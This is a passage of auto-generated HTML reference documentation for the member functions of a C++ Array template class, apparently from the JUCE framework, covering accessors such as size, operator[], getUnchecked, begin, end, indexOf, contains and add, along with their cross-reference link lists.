href="classArray.html#af3d9c435c3cddb0de674306b809430e3">Array&lt; Glyph &gt;::removeValuesNotIn()</a>.</p> </div> </div> <a class="anchor" id="a96bcb7013ec2d56da8b918da7fc0809c"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;typename ElementType, typename TypeOfCriticalSectionToUse = DummyCriticalSection, int minimumAllocatedSize = 0&gt; </div> <table class="memname"> <tr> <td class="memname">void <a class="el" href="classArray.html">Array</a>&lt; ElementType, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a>, minimumAllocatedSize &gt;::clearQuick </td> <td>(</td> <td class="paramname"></td><td>)</td> <td></td> </tr> </table> </div><div class="memdoc"> <p>Removes all elements from the array without freeing the array's allocated storage. </p> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classArray.html#a86dc5fe378bb99b85beb8ab86c279654" title="Removes all elements from the array.">clear</a> </dd></dl> <p>Referenced by <a class="el" href="structVST3BufferExchange.html#a258f09e3c61c120d7c35e2c66bddd48a">VST3BufferExchange&lt; float &gt;::associateBufferTo()</a>, <a class="el" href="classRectangleList.html#a93361ce23ea57c1a09781337182517a4">RectangleList&lt; int &gt;::clear()</a>, <a class="el" href="classMidiEventList.html#ab2d507e21030ecf84d4df71d5da10bb9">MidiEventList::clear()</a>, and <a class="el" href="classSortedSet.html#a792064a68e61905a9ee6968e2cbc4ee6">SortedSet&lt; ColourSetting &gt;::clearQuick()</a>.</p> </div> </div> <a class="anchor" id="ae79ec3b32d0c9a80dfff8ffbc41f8523"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;typename ElementType, typename TypeOfCriticalSectionToUse = DummyCriticalSection, int minimumAllocatedSize = 0&gt; </div> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">int <a class="el" href="classArray.html">Array</a>&lt; ElementType, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a>, minimumAllocatedSize &gt;::size </td> <td>(</td> <td class="paramname"></td><td>)</td> <td> const</td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">noexcept</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Returns the current number of elements in the array. </p> <p>Referenced by <a class="el" href="classRectangleList.html#a9df83403875d4288f1aa9a9cdd3245bb">RectangleList&lt; int &gt;::add()</a>, <a class="el" href="classSortedSet.html#a861274cee3723b88dc742aef24ba65d5">SortedSet&lt; ColourSetting &gt;::add()</a>, <a class="el" href="classHashMap.html#a2922931b85fa384901d82de2b46b0845">HashMap&lt; KeyType, ValueType, HashFunctionType, TypeOfCriticalSectionToUse &gt;::clear()</a>, <a class="el" href="classRectangleList.html#ae270885963acca0dcd78d80158605f1a">RectangleList&lt; int &gt;::clipTo()</a>, <a class="el" href="classRectangleList.html#a9e26bdb6310e0660c0b7ada7919546db">RectangleList&lt; int &gt;::consolidate()</a>, <a class="el" href="classSparseSet.html#a012b4ce66f31a8666bd818e18a6081de">SparseSet&lt; int &gt;::contains()</a>, <a class="el" href="classRectangleList.html#a51b36fe7c75ecc84952f95b52bb7928c">RectangleList&lt; int &gt;::containsRectangle()</a>, <a class="el" href="classSelectedItemSet.html#a2d8c179287d5afa7e4ef0318ce779813">SelectedItemSet&lt; SelectableItemType &gt;::deselectAll()</a>, <a class="el" href="classArray.html#a9e1c27566bf40fe1afefd2762a7187e6">Array&lt; Glyph &gt;::empty()</a>, <a class="el" href="classPluginBusUtilities.html#a65b70400e515552bed29b19bcbd5378b">PluginBusUtilities::findTotalNumChannels()</a>, <a class="el" href="classRectangleList.html#a7c2004bc8ed19201d54777c5b65be967">RectangleList&lt; int &gt;::getBounds()</a>, <a class="el" href="classPluginBusUtilities.html#aa15e8153cbfaea8d5962d1cbf64a831f">PluginBusUtilities::getBusCount()</a>, <a class="el" href="classMidiEventList.html#aa62ae834c05f755f2f723b4f1ded836e">MidiEventList::getEvent()</a>, <a class="el" href="classMidiEventList.html#a7a961a80412fbaf35e7055b7fa784847">MidiEventList::getEventCount()</a>, <a class="el" href="classRectangleList.html#a42f68746a56cddd16eb4800aa367b59e">RectangleList&lt; int &gt;::getIntersectionWith()</a>, <a class="el" href="classStretchableObjectResizer.html#a6ae31268a50a1c715e39b28bfd82f560">StretchableObjectResizer::getNumItems()</a>, <a class="el" href="classSparseSet.html#a2cf54ba41e95ead13be4cdea090750fe">SparseSet&lt; int &gt;::getNumRanges()</a>, <a class="el" href="classRectangleList.html#ac1f6b51deae420493425d69306539f1c">RectangleList&lt; int &gt;::getNumRectangles()</a>, <a class="el" href="classSelectedItemSet.html#adaf7fb93ca30bc24a130c7601cb83c49">SelectedItemSet&lt; SelectableItemType &gt;::getNumSelected()</a>, <a class="el" href="classHashMap.html#a28c5938ec533466631b98451c6b78072">HashMap&lt; KeyType, ValueType, HashFunctionType, TypeOfCriticalSectionToUse &gt;::getNumSlots()</a>, <a class="el" href="classSparseSet.html#aa243e3ee99df5bfe41983c031d4b148a">SparseSet&lt; int &gt;::getTotalRange()</a>, <a class="el" href="classSortedSet.html#ac51e0a933c5902a55f68ee8eef9cba00">SortedSet&lt; ColourSetting &gt;::indexOf()</a>, <a class="el" href="classSparseSet.html#ae60850392e3312144695b1bb9c999047">SparseSet&lt; int &gt;::isEmpty()</a>, <a class="el" href="classRectangleList.html#ad59356f54ef6100221d5dcaf27c15742">RectangleList&lt; int &gt;::isEmpty()</a>, <a class="el" href="structVST3BufferExchange.html#a7f25aca59b8af5aaf17846dcafb5ced2">VST3BufferExchange&lt; float &gt;::mapArrangementToBusses()</a>, <a class="el" href="structVST3BufferExchange.html#ab9bde460da866df2f686ea1923602b81">VST3BufferExchange&lt; float &gt;::mapBufferToBusses()</a>, <a class="el" href="classSelectedItemSet.html#af86b0e97bd91cbbd0a16bea50e3f7f0d">SelectedItemSet&lt; SelectableItemType &gt;::operator=()</a>, <a class="el" href="classSparseSet.html#a54f3d84e61a754674f62981216013254">SparseSet&lt; int &gt;::operator[]()</a>, <a class="el" href="classSparseSet.html#a263cd6c64bbf95db0ee8be6e546a70a6">SparseSet&lt; int &gt;::removeRange()</a>, <a class="el" href="classSortedSet.html#a87ad10e1f49afe6fbcbf4170e84bf95e">SortedSet&lt; ColourSetting &gt;::removeValuesIn()</a>, <a class="el" href="classSortedSet.html#a44266b927f68b51086f56a8732fd3190">SortedSet&lt; ColourSetting &gt;::removeValuesNotIn()</a>, <a class="el" href="classPluginBusUtilities.html#ac41b5800e5e948b3ef0488774aded2a5">PluginBusUtilities::restoreBusArrangement()</a>, <a class="el" href="classSelectedItemSet.html#a5c989a8cd1483b655b948aee86fb768c">SelectedItemSet&lt; SelectableItemType &gt;::selectOnly()</a>, <a class="el" href="classSparseSet.html#abb774559c4dd7fa498095539c22e9df1">SparseSet&lt; int &gt;::size()</a>, <a class="el" href="classSortedSet.html#aae5daa157bd06da7e89ac7abde60ff68">SortedSet&lt; ColourSetting &gt;::size()</a>, <a class="el" href="classArray.html#ae41b43e6f47cfa888c01cc09d58f08fa">Array&lt; Glyph &gt;::sort()</a>, <a class="el" href="classRectangleList.html#a8e5460224789d6b242ebbe0a801b4b62">RectangleList&lt; int &gt;::subtract()</a>, and <a class="el" href="classRectangleList.html#addbe3e5c0fe15fc6783a94ea3937e934">RectangleList&lt; int &gt;::toPath()</a>.</p> </div> </div> <a class="anchor" id="a9e1c27566bf40fe1afefd2762a7187e6"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;typename ElementType, typename TypeOfCriticalSectionToUse = DummyCriticalSection, int minimumAllocatedSize = 0&gt; </div> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">bool <a class="el" href="classArray.html">Array</a>&lt; ElementType, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a>, minimumAllocatedSize &gt;::empty </td> <td>(</td> <td class="paramname"></td><td>)</td> <td> const</td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">noexcept</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Returns true if the array is empty, false otherwise. </p> </div> </div> <a class="anchor" id="a9e369f019d7ba8f7587bcab1906e4087"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;typename ElementType, typename TypeOfCriticalSectionToUse = DummyCriticalSection, int minimumAllocatedSize = 0&gt; </div> <table class="memname"> <tr> <td class="memname">ElementType <a class="el" href="classArray.html">Array</a>&lt; ElementType, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a>, minimumAllocatedSize &gt;::operator[] </td> <td>(</td> <td class="paramtype">const int&#160;</td> <td class="paramname"><em>index</em></td><td>)</td> <td> const</td> </tr> </table> </div><div class="memdoc"> <p>Returns one of the elements in the array. </p> <p>If the index passed in is beyond the range of valid elements, this will return a default value.</p> <p>If you're certain that the index will always be a valid element, you can call <a class="el" href="classArray.html#ada77bc1217cc15d8815e2685090de379" title="Returns one of the elements in the array, without checking the index passed in.">getUnchecked()</a> instead, which is faster.</p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">index</td><td>the index of the element being requested (0 is the first element in the array) </td></tr> </table> </dd> </dl> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classArray.html#ada77bc1217cc15d8815e2685090de379" title="Returns one of the elements in the array, without checking the index passed in.">getUnchecked</a>, <a class="el" href="classArray.html#ae1884e2e59a1f2a7a2959a1f090da894" title="Returns the first element in the array, or a default value if the array is empty.">getFirst</a>, <a class="el" href="classArray.html#abcdc6472b527f4b470ae705ed7fad38f" title="Returns the last element in the array, or a default value if the array is empty.">getLast</a> </dd></dl> </div> </div> <a class="anchor" id="ada77bc1217cc15d8815e2685090de379"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;typename ElementType, typename TypeOfCriticalSectionToUse = DummyCriticalSection, int minimumAllocatedSize = 0&gt; </div> <table class="memname"> <tr> <td class="memname">ElementType <a class="el" href="classArray.html">Array</a>&lt; ElementType, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a>, minimumAllocatedSize &gt;::getUnchecked </td> <td>(</td> <td class="paramtype">const int&#160;</td> <td class="paramname"><em>index</em></td><td>)</td> <td> const</td> </tr> </table> </div><div class="memdoc"> <p>Returns one of the elements in the array, without checking the index passed in. </p> <p>Unlike the operator[] method, this will try to return an element without checking that the index is within the bounds of the array, so should only be used when you're confident that it will always be a valid index.</p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">index</td><td>the index of the element being requested (0 is the first element in the array) </td></tr> </table> </dd> </dl> <dl class="section see"><dt>See Also</dt><dd>operator[], <a class="el" href="classArray.html#ae1884e2e59a1f2a7a2959a1f090da894" title="Returns the first element in the array, or a default value if the array is empty.">getFirst</a>, <a class="el" href="classArray.html#abcdc6472b527f4b470ae705ed7fad38f" title="Returns the last element in the array, or a default value if the array is empty.">getLast</a> </dd></dl> <p>Referenced by <a class="el" href="classHashMap.html#a2922931b85fa384901d82de2b46b0845">HashMap&lt; KeyType, ValueType, HashFunctionType, TypeOfCriticalSectionToUse &gt;::clear()</a>, <a class="el" href="classSparseSet.html#a012b4ce66f31a8666bd818e18a6081de">SparseSet&lt; int &gt;::contains()</a>, <a class="el" href="classHashMap.html#a76ea6487128a798b22e3937731cab111">HashMap&lt; KeyType, ValueType, HashFunctionType, TypeOfCriticalSectionToUse &gt;::contains()</a>, <a class="el" href="classSparseSet.html#a1a764e5824c3c99a9fb5d1e67036c59a">SparseSet&lt; int &gt;::containsRange()</a>, <a class="el" href="classHashMap.html#aa18110ae5d5de81f4e64efcc117e43d8">HashMap&lt; KeyType, ValueType, HashFunctionType, TypeOfCriticalSectionToUse &gt;::containsValue()</a>, <a class="el" href="classSparseSet.html#a77a4314241f40c4c3be84687eb2d61cb">SparseSet&lt; int &gt;::getRange()</a>, <a class="el" href="classSparseSet.html#aa243e3ee99df5bfe41983c031d4b148a">SparseSet&lt; int &gt;::getTotalRange()</a>, <a class="el" href="classSortedSet.html#a931d3c86921cd13c2ca30316eb5dc8c2">SortedSet&lt; ColourSetting &gt;::getUnchecked()</a>, <a class="el" href="structVST3BufferExchange.html#ab9bde460da866df2f686ea1923602b81">VST3BufferExchange&lt; float &gt;::mapBufferToBusses()</a>, <a class="el" href="classHashMap_1_1Iterator.html#abdbcb9001e0777946703ff4c8cbde785">HashMap&lt; KeyType, ValueType, HashFunctionType, TypeOfCriticalSectionToUse &gt;::Iterator::next()</a>, <a class="el" href="classSparseSet.html#a54f3d84e61a754674f62981216013254">SparseSet&lt; int &gt;::operator[]()</a>, <a class="el" href="classHashMap.html#aad123e7a5d4d6a0fef5196d5e0475c21">HashMap&lt; KeyType, ValueType, HashFunctionType, TypeOfCriticalSectionToUse &gt;::operator[]()</a>, <a class="el" href="classSparseSet.html#a82275387d1f516f25b15b841c03bcef1">SparseSet&lt; int &gt;::overlapsRange()</a>, <a class="el" href="classHashMap.html#aadd0f7eaeacd996eed49440b27d9f308">HashMap&lt; KeyType, ValueType, HashFunctionType, TypeOfCriticalSectionToUse &gt;::remapTable()</a>, <a class="el" href="classHashMap.html#ac308687ea47efa4d1559ec1b35505ad2">HashMap&lt; KeyType, ValueType, HashFunctionType, TypeOfCriticalSectionToUse &gt;::remove()</a>, <a class="el" href="classSparseSet.html#a263cd6c64bbf95db0ee8be6e546a70a6">SparseSet&lt; int &gt;::removeRange()</a>, <a class="el" href="classHashMap.html#a7c7e68766babe36a8ae07033d3652f2f">HashMap&lt; KeyType, ValueType, HashFunctionType, TypeOfCriticalSectionToUse &gt;::removeValue()</a>, <a class="el" href="classSelectedItemSet.html#a5c989a8cd1483b655b948aee86fb768c">SelectedItemSet&lt; SelectableItemType &gt;::selectOnly()</a>, <a class="el" href="classHashMap.html#a875c55a3b720118cd6687fd6494f7afd">HashMap&lt; KeyType, ValueType, HashFunctionType, TypeOfCriticalSectionToUse &gt;::set()</a>, and <a class="el" href="classSparseSet.html#abb774559c4dd7fa498095539c22e9df1">SparseSet&lt; int &gt;::size()</a>.</p> </div> </div> <a class="anchor" id="ac1cb5babc0950eb9897812b221695b3c"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;typename ElementType, typename TypeOfCriticalSectionToUse = DummyCriticalSection, int minimumAllocatedSize = 0&gt; </div> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">ElementType&amp; <a class="el" href="classArray.html">Array</a>&lt; ElementType, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a>, minimumAllocatedSize &gt;::getReference </td> <td>(</td> <td class="paramtype">const int&#160;</td> <td class="paramname"><em>index</em></td><td>)</td> <td> const</td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">noexcept</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Returns a direct reference to one of the elements in the array, without checking the index passed in. </p> <p>This is like getUnchecked, but returns a direct reference to the element, so that you can alter it directly. Obviously this can be dangerous, so only use it when absolutely necessary.</p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">index</td><td>the index of the element being requested (0 is the first element in the array) </td></tr> </table> </dd> </dl> <dl class="section see"><dt>See Also</dt><dd>operator[], <a class="el" href="classArray.html#ae1884e2e59a1f2a7a2959a1f090da894" title="Returns the first element in the array, or a default value if the array is empty.">getFirst</a>, <a class="el" href="classArray.html#abcdc6472b527f4b470ae705ed7fad38f" title="Returns the last element in the array, or a default value if the array is empty.">getLast</a> </dd></dl> <p>Referenced by <a class="el" href="classRectangleList.html#a9df83403875d4288f1aa9a9cdd3245bb">RectangleList&lt; int &gt;::add()</a>, <a class="el" href="classSortedSet.html#a861274cee3723b88dc742aef24ba65d5">SortedSet&lt; ColourSetting &gt;::add()</a>, <a class="el" href="classRectangleList.html#ae270885963acca0dcd78d80158605f1a">RectangleList&lt; int &gt;::clipTo()</a>, <a class="el" href="classRectangleList.html#a9e26bdb6310e0660c0b7ada7919546db">RectangleList&lt; int &gt;::consolidate()</a>, <a class="el" href="classRectangleList.html#a51b36fe7c75ecc84952f95b52bb7928c">RectangleList&lt; int &gt;::containsRectangle()</a>, <a class="el" href="classPluginBusUtilities.html#a65b70400e515552bed29b19bcbd5378b">PluginBusUtilities::findTotalNumChannels()</a>, <a class="el" href="classRectangleList.html#a7c2004bc8ed19201d54777c5b65be967">RectangleList&lt; int &gt;::getBounds()</a>, <a class="el" href="classPluginBusUtilities.html#a6e54409c72624ac9b0316b3945316093">PluginBusUtilities::getChannelSet()</a>, <a class="el" href="classMidiEventList.html#aa62ae834c05f755f2f723b4f1ded836e">MidiEventList::getEvent()</a>, <a class="el" href="classRectangleList.html#a42f68746a56cddd16eb4800aa367b59e">RectangleList&lt; int &gt;::getIntersectionWith()</a>, <a class="el" href="classPluginBusUtilities.html#a736d56c23e82029be37749cc92d00cd6">PluginBusUtilities::getNumChannels()</a>, <a class="el" href="classSortedSet.html#aee801e5bbc1d6fc894156e102237ca14">SortedSet&lt; ColourSetting &gt;::getReference()</a>, <a class="el" href="classPluginBusUtilities.html#ac728188a0bbf82e7e95f499aa1f33a9a">PluginBusUtilities::getSupportedBusLayouts()</a>, <a class="el" href="classSortedSet.html#ac51e0a933c5902a55f68ee8eef9cba00">SortedSet&lt; ColourSetting &gt;::indexOf()</a>, <a class="el" href="structVST3BufferExchange.html#a7f25aca59b8af5aaf17846dcafb5ced2">VST3BufferExchange&lt; float &gt;::mapArrangementToBusses()</a>, <a class="el" href="classSelectedItemSet.html#af86b0e97bd91cbbd0a16bea50e3f7f0d">SelectedItemSet&lt; SelectableItemType &gt;::operator=()</a>, <a class="el" href="classSortedSet.html#a87ad10e1f49afe6fbcbf4170e84bf95e">SortedSet&lt; ColourSetting &gt;::removeValuesIn()</a>, <a class="el" href="classSortedSet.html#a44266b927f68b51086f56a8732fd3190">SortedSet&lt; ColourSetting &gt;::removeValuesNotIn()</a>, <a class="el" href="classPluginBusUtilities.html#ac41b5800e5e948b3ef0488774aded2a5">PluginBusUtilities::restoreBusArrangement()</a>, <a class="el" href="classRectangleList.html#a8e5460224789d6b242ebbe0a801b4b62">RectangleList&lt; int &gt;::subtract()</a>, and <a class="el" href="classRectangleList.html#addbe3e5c0fe15fc6783a94ea3937e934">RectangleList&lt; int &gt;::toPath()</a>.</p> </div> </div> <a class="anchor" id="ae1884e2e59a1f2a7a2959a1f090da894"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;typename ElementType, typename TypeOfCriticalSectionToUse = DummyCriticalSection, int minimumAllocatedSize = 0&gt; </div> <table class="memname"> <tr> <td class="memname">ElementType <a class="el" href="classArray.html">Array</a>&lt; ElementType, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a>, minimumAllocatedSize &gt;::getFirst </td> <td>(</td> <td class="paramname"></td><td>)</td> <td> const</td> </tr> </table> </div><div class="memdoc"> <p>Returns the first element in the array, or a default value if the array is empty. </p> <dl class="section see"><dt>See Also</dt><dd>operator[], <a class="el" href="classArray.html#ada77bc1217cc15d8815e2685090de379" title="Returns one of the elements in the array, without checking the index passed in.">getUnchecked</a>, <a class="el" href="classArray.html#abcdc6472b527f4b470ae705ed7fad38f" title="Returns the last element in the array, or a default value if the array is empty.">getLast</a> </dd></dl> <p>Referenced by <a class="el" href="classSortedSet.html#a44bdd0240e337b2f8197629aa1334230">SortedSet&lt; ColourSetting &gt;::getFirst()</a>.</p> </div> </div> <a class="anchor" id="abcdc6472b527f4b470ae705ed7fad38f"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;typename ElementType, typename TypeOfCriticalSectionToUse = DummyCriticalSection, int minimumAllocatedSize = 0&gt; </div> <table class="memname"> <tr> <td class="memname">ElementType <a class="el" href="classArray.html">Array</a>&lt; ElementType, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a>, minimumAllocatedSize &gt;::getLast </td> <td>(</td> <td class="paramname"></td><td>)</td> <td> const</td> </tr> </table> </div><div class="memdoc"> <p>Returns the last element in the array, or a default value if the array is empty. </p> <dl class="section see"><dt>See Also</dt><dd>operator[], <a class="el" href="classArray.html#ada77bc1217cc15d8815e2685090de379" title="Returns one of the elements in the array, without checking the index passed in.">getUnchecked</a>, <a class="el" href="classArray.html#ae1884e2e59a1f2a7a2959a1f090da894" title="Returns the first element in the array, or a default value if the array is empty.">getFirst</a> </dd></dl> <p>Referenced by <a class="el" href="classSortedSet.html#a2289698c4c183d6554f99760c1348d02">SortedSet&lt; ColourSetting &gt;::getLast()</a>, and <a class="el" href="classSparseSet.html#a263cd6c64bbf95db0ee8be6e546a70a6">SparseSet&lt; int &gt;::removeRange()</a>.</p> </div> </div> <a class="anchor" id="a4c5c3e5ab20d17d6d5757e53773ba2ff"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;typename ElementType, typename TypeOfCriticalSectionToUse = DummyCriticalSection, int minimumAllocatedSize = 0&gt; </div> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">ElementType* <a class="el" href="classArray.html">Array</a>&lt; ElementType, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a>, minimumAllocatedSize &gt;::getRawDataPointer </td> <td>(</td> <td class="paramname"></td><td>)</td> <td></td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">noexcept</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Returns a pointer to the actual array data. </p> <p>This pointer will only be valid until the next time a non-const method is called on the array. </p> <p>Referenced by <a class="el" href="structVST3BufferExchange.html#a258f09e3c61c120d7c35e2c66bddd48a">VST3BufferExchange&lt; float &gt;::associateBufferTo()</a>.</p> </div> </div> <a class="anchor" id="a5aeb6bdbca7a057c6fe483f2a9c89ef5"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;typename ElementType, typename TypeOfCriticalSectionToUse = DummyCriticalSection, int minimumAllocatedSize = 0&gt; </div> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">ElementType* <a class="el" href="classArray.html">Array</a>&lt; ElementType, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a>, minimumAllocatedSize &gt;::begin </td> <td>(</td> <td class="paramname"></td><td>)</td> <td> const</td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">noexcept</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Returns a pointer to the first element in the array. </p> <p>This method is provided for compatibility with standard C++ iteration mechanisms. </p> <p>Referenced by <a class="el" href="classSortedSet.html#a4546d1c39aca9b8105b1934c0546774b">SortedSet&lt; ColourSetting &gt;::begin()</a>, <a class="el" href="classSelectedItemSet.html#a8820df35449af865aaecf107cad4a653">SelectedItemSet&lt; SelectableItemType &gt;::begin()</a>, <a class="el" href="classRectangleList.html#ac4a757a9274fb76b001bbbe97dc0a6b4">RectangleList&lt; int &gt;::begin()</a>, <a class="el" href="classRectangleList.html#a2007a2f8db5988f2b84f361c9190721e">RectangleList&lt; int &gt;::containsPoint()</a>, <a class="el" href="classRectangleList.html#a95fff4a17284343719915b4eeddeb0a4">RectangleList&lt; int &gt;::intersects()</a>, <a class="el" href="classRectangleList.html#a44184b9834cc99cda85a6d8778519ac0">RectangleList&lt; int &gt;::intersectsRectangle()</a>, <a class="el" href="classRectangleList.html#a6929cdfe85b1ec2cbb87dbb4baa9e5f9">RectangleList&lt; int &gt;::offsetAll()</a>, <a class="el" href="classSelectedItemSet.html#af86b0e97bd91cbbd0a16bea50e3f7f0d">SelectedItemSet&lt; SelectableItemType &gt;::operator=()</a>, <a class="el" href="classRectangleList.html#a57af41f3e264b8c1d183149a9c50f03f">RectangleList&lt; int &gt;::scaleAll()</a>, and <a class="el" href="classRectangleList.html#a3ada18acf295f59a9a00294205079d92">RectangleList&lt; int &gt;::transformAll()</a>.</p> </div> </div> <a class="anchor" id="a4ec39fc8ed45a70eb82fca49c35c2088"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;typename ElementType, typename TypeOfCriticalSectionToUse = DummyCriticalSection, int minimumAllocatedSize = 0&gt; </div> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">ElementType* <a class="el" href="classArray.html">Array</a>&lt; ElementType, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a>, minimumAllocatedSize &gt;::end </td> <td>(</td> <td class="paramname"></td><td>)</td> <td> const</td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">noexcept</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Returns a pointer to the element which follows the last element in the array. </p> <p>This method is provided for compatibility with standard C++ iteration mechanisms. </p> <p>Referenced by <a class="el" href="classRectangleList.html#a2007a2f8db5988f2b84f361c9190721e">RectangleList&lt; int &gt;::containsPoint()</a>, <a class="el" href="classSortedSet.html#ac616e72c4fad8919f19b486320555326">SortedSet&lt; ColourSetting &gt;::end()</a>, <a class="el" href="classSelectedItemSet.html#aea029db3e198aebd6a58a8e9ecd9b779">SelectedItemSet&lt; SelectableItemType &gt;::end()</a>, <a class="el" href="classRectangleList.html#a1b2d14e1b7ec911471559b32de41b277">RectangleList&lt; int &gt;::end()</a>, <a class="el" href="classRectangleList.html#a95fff4a17284343719915b4eeddeb0a4">RectangleList&lt; int &gt;::intersects()</a>, <a class="el" href="classRectangleList.html#a44184b9834cc99cda85a6d8778519ac0">RectangleList&lt; int &gt;::intersectsRectangle()</a>, <a class="el" href="classRectangleList.html#a6929cdfe85b1ec2cbb87dbb4baa9e5f9">RectangleList&lt; int &gt;::offsetAll()</a>, <a class="el" href="classSelectedItemSet.html#af86b0e97bd91cbbd0a16bea50e3f7f0d">SelectedItemSet&lt; SelectableItemType &gt;::operator=()</a>, <a class="el" href="classRectangleList.html#a57af41f3e264b8c1d183149a9c50f03f">RectangleList&lt; int &gt;::scaleAll()</a>, and <a class="el" href="classRectangleList.html#a3ada18acf295f59a9a00294205079d92">RectangleList&lt; int &gt;::transformAll()</a>.</p> </div> </div> <a class="anchor" id="af3e6b6c7c55897224b923bb4409b958a"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;typename ElementType, typename TypeOfCriticalSectionToUse = DummyCriticalSection, int minimumAllocatedSize = 0&gt; </div> <table class="memname"> <tr> <td class="memname">int <a class="el" href="classArray.html">Array</a>&lt; ElementType, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a>, minimumAllocatedSize &gt;::indexOf </td> <td>(</td> <td class="paramtype">ParameterType&#160;</td> <td class="paramname"><em>elementToLookFor</em></td><td>)</td> <td> const</td> </tr> </table> </div><div class="memdoc"> <p>Finds the index of the first element which matches the value passed in. </p> <p>This will search the array for the given object, and return the index of its first occurrence. If the object isn't found, the method will return -1.</p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">elementToLookFor</td><td>the value or object to look for </td></tr> </table> </dd> </dl> <dl class="section return"><dt>Returns</dt><dd>the index of the object, or -1 if it's not found </dd></dl> <p>Referenced by <a class="el" href="classSelectedItemSet.html#a657dd4d8aa7604f795c0d0d3962b410c">SelectedItemSet&lt; SelectableItemType &gt;::deselect()</a>.</p> </div> </div> <a class="anchor" id="a57f5f5977d81f1d54315732bc30b33ab"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;typename ElementType, typename TypeOfCriticalSectionToUse = DummyCriticalSection, int minimumAllocatedSize = 0&gt; </div> <table class="memname"> <tr> <td class="memname">bool <a class="el" href="classArray.html">Array</a>&lt; ElementType, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a>, minimumAllocatedSize &gt;::contains </td> <td>(</td> <td class="paramtype">ParameterType&#160;</td> <td class="paramname"><em>elementToLookFor</em></td><td>)</td> <td> const</td> </tr> </table> </div><div class="memdoc"> <p>Returns true if the array contains at least one occurrence of an object. </p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">elementToLookFor</td><td>the value or object to look for </td></tr> </table> </dd> </dl> <dl class="section return"><dt>Returns</dt><dd>true if the item is found </dd></dl> <p>Referenced by <a class="el" href="classArray.html#a408fa7ce72916f0fc65df67fbc9f8813">Array&lt; Glyph &gt;::addIfNotAlreadyThere()</a>, and <a class="el" href="classSelectedItemSet.html#a431e7bbc3d316e1822596563b49adc73">SelectedItemSet&lt; SelectableItemType &gt;::isSelected()</a>.</p> </div> </div> <a class="anchor" id="a52da22e285e44171b6d6fa785a7d536a"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;typename ElementType, typename TypeOfCriticalSectionToUse = DummyCriticalSection, int minimumAllocatedSize = 0&gt; </div> <table class="memname"> <tr> <td class="memname">void <a class="el" href="classArray.html">Array</a>&lt; ElementType, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a>, minimumAllocatedSize &gt;::add </td> <td>(</td> <td class="paramtype">const ElementType &amp;&#160;</td> <td class="paramname"><em>newElement</em></td><td>)</td> <td></td> </tr> </table> </div><div class="memdoc"> <p>Appends a new element at the end of the array. </p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">newElement</td><td>the new object to add to the array </td></tr> </table> </dd> </dl> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classArray.html#a2fb91e8ec10caa9474a28c88e35f9686" 